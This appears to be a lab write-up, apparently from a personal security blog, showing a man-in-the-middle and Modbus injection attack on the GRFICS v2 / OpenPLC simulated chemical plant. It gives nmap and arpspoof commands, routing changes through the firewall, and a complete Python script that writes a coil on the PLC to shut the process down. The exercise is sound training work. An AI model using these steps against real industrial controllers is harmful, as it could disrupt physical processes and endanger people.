Man in The Middle Attacks & ModBus Injection (GRFICS v2 + OpenPLC ICS)
Taking into consideration the scenario described in my first post, an attacker is much more likely to be situated within the Demilitarized Zone (DMZ), over the (Industrial Control System) ICS network, considering it's, well, a DMZ. The pfSense firewall we've implemented has some weak security controls, such as allowing routing between everything in the /24 of the DMZ to everything in the /24 OT network, assuming the route is configured.
From an attackers perspective, the first step outside of situational awareness is enumeration. By portscanning our DMZ network range we'll find our two hosts, the pfSense firewall and the HMI.
┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -sV -sC -n 192.168.90.0/24 --min-rate=1000 --max-retries=0
Nmap scan report for 192.168.90.5
PORT STATE SERVICE VERSION
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FB:7F:21 (VMware)
Nmap scan report for 192.168.90.100
PORT STATE SERVICE VERSION
53/tcp open domain Unbound
80/tcp open http nginx
|_http-title: pfSense - Login
MAC Address: 00:0C:29:C9:4D:CA (VMware)
We can execute a Man-In-The-Middle attack against the HMI (192.168.90.5) to view the traffic to and from the host. Arpspoof can trivially take care of that for us:
┌──(root㉿kali)-[/home/kali]
└─# arpspoof 192.168.90.5
0:c:29:94:fa:e1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.90.5 is-at 0:c:29:94:fa:e1
0:c:29:94:fa:e1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.90.5 is-at 0:c:29:94:fa:e1
0:c:29:94:fa:e1 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.90.5 is-at 0:c:29:94:fa:e1
With the ARP Cache of the HMI poisoned, we can view the traffic going over the wire, revealing modbus traffic to a host in the ICS Network - 192.168.95.2, our Programmable Logic Controller:

Using the NMap Scripting Engine (NSE), we can use the ip-forwarding NSE script to determine if the pfSense firewall in our network will allow us to route to the identified PLC IP address in the OT network. This will attempt to send an ICMP Echo Request (Type 8 for those CREST CCT's out there😉 ) to our PLC using our identified pfSense host and let us know if we've got connectivity through it, which as depict below, we have:
┌──(root㉿kali)-[/home/kali]
└─# echo 1 > /proc/sys/net/ipv4/ip_forward
┌──(root㉿kali)-[/home/kali]
└─# nmap -sn 192.168.90.100 --script ip-forwarding --script-args='target=192.168.95.2'
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 06:25 EDT
Nmap scan report for 192.168.90.100
Host script results:
| ip-forwarding:
|_ The host has ip forwarding enabled, tried ping against (192.168.95.2)
We can then add a route into the network via the pfSense firewall, in order to directly communicate with the PLC:
┌──(root㉿kali)-[/home/kali]
└─# route add -net 192.168.95.0 netmask 255.255.255.0 gw 192.168.90.100
This has positioned us nicely as a bad actor with PLC communications now routing depict in the below network diagram. As the PLC supports Modbus messages from unauthorized clients, we can now inspect the Modbus packets and prepare to send some of own, malicious packets, to the PLC. The network diagram below shows us how traffic is now routing from the DMZ to the OT network:

After analysing the captured traffic to the PLC, some of the traffic back and forth reads coil data.

Over Modbus TCP Port 502, coil address 40, a value of 0 (0x00) is being sent. Let's see what happens if we send a packet to the PLC from our bad actor host, changing that value to 1 to the same coil. I've written the following python script to allow us to do that. I did initially want to do this with scapy, but scapy builds and sends the packet at the IP/TCP layer without completing a proper TCP handshake, which Modbus TCP servers (like OpenPLC or PLC emulators) require, so I'd have had to establish the full handshake manually. So we have a scapy-esque script instead!:
import socket
import struct
# Target
PLC_IP = "192.168.95.2"
PLC_PORT = 502
# Modbus packet fields
transaction_id = 0x0001 # A UID to match requests/responses with the PLC
protocol_id = 0x0000 # Always 0x0000 for Modbus TCP/IP
unit_id = 0x01 # Identifies the slave device on the network
function_code = 0x05 # Write to a Single Coil
coil_address = 40 # The Coil Address to write
coil_value = 0xFF00 # 0xFF00 = ON, 0x0000 = OFF
# Build PDU (Function + Address + Value)
pdu = struct.pack(">BHH", function_code, coil_address, coil_value)
# Build MBAP Header (Transaction ID, Protocol ID, Length, Unit ID)
mbap = struct.pack(">HHHB", transaction_id, protocol_id, len(pdu)+1, unit_id)
# Final Modbus TCP payload
payload = mbap + pdu
# Create TCP socket and send
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((PLC_IP, PLC_PORT))
sock.sendall(payload)
# Receive and print response
response = sock.recv(1024)
print("Response:", response.hex())
sock.close()
In this case, we're sending 0xFF00 to coil address 40 as opposed to the value 0x0000 which we saw in the packet capture. It's important to note here that in Modbus, when you're writing to a single coil (which we are, here, 40), the values aren't actually as simple as 1 or 0 as they are encoded in a special way according to the Modbus protocol specification (originally from Modicon in the 1970s) - See section 6.5):

Because Modbus is a binary protocol and the devices receiving the message expect the precise format defined in the protocol, when sending a Modbus "Write Single Coil" (Function Code 0x05) request, the data portion must be exactly 2 bytes:
- 0xFF00 to turn ON
- 0x0000 to turn OFF
So if you send just 0x0001, or 0x01, or even Python's 'True', many Modbus devices would reject it as malformed. I had to fight with this a little bit, I wont lie 😂
Here's a demo showing the result of our modbus injection attack. Yep, we've sent a message to shut down the ChemicalPlant!
References: https://fortiphyd.com/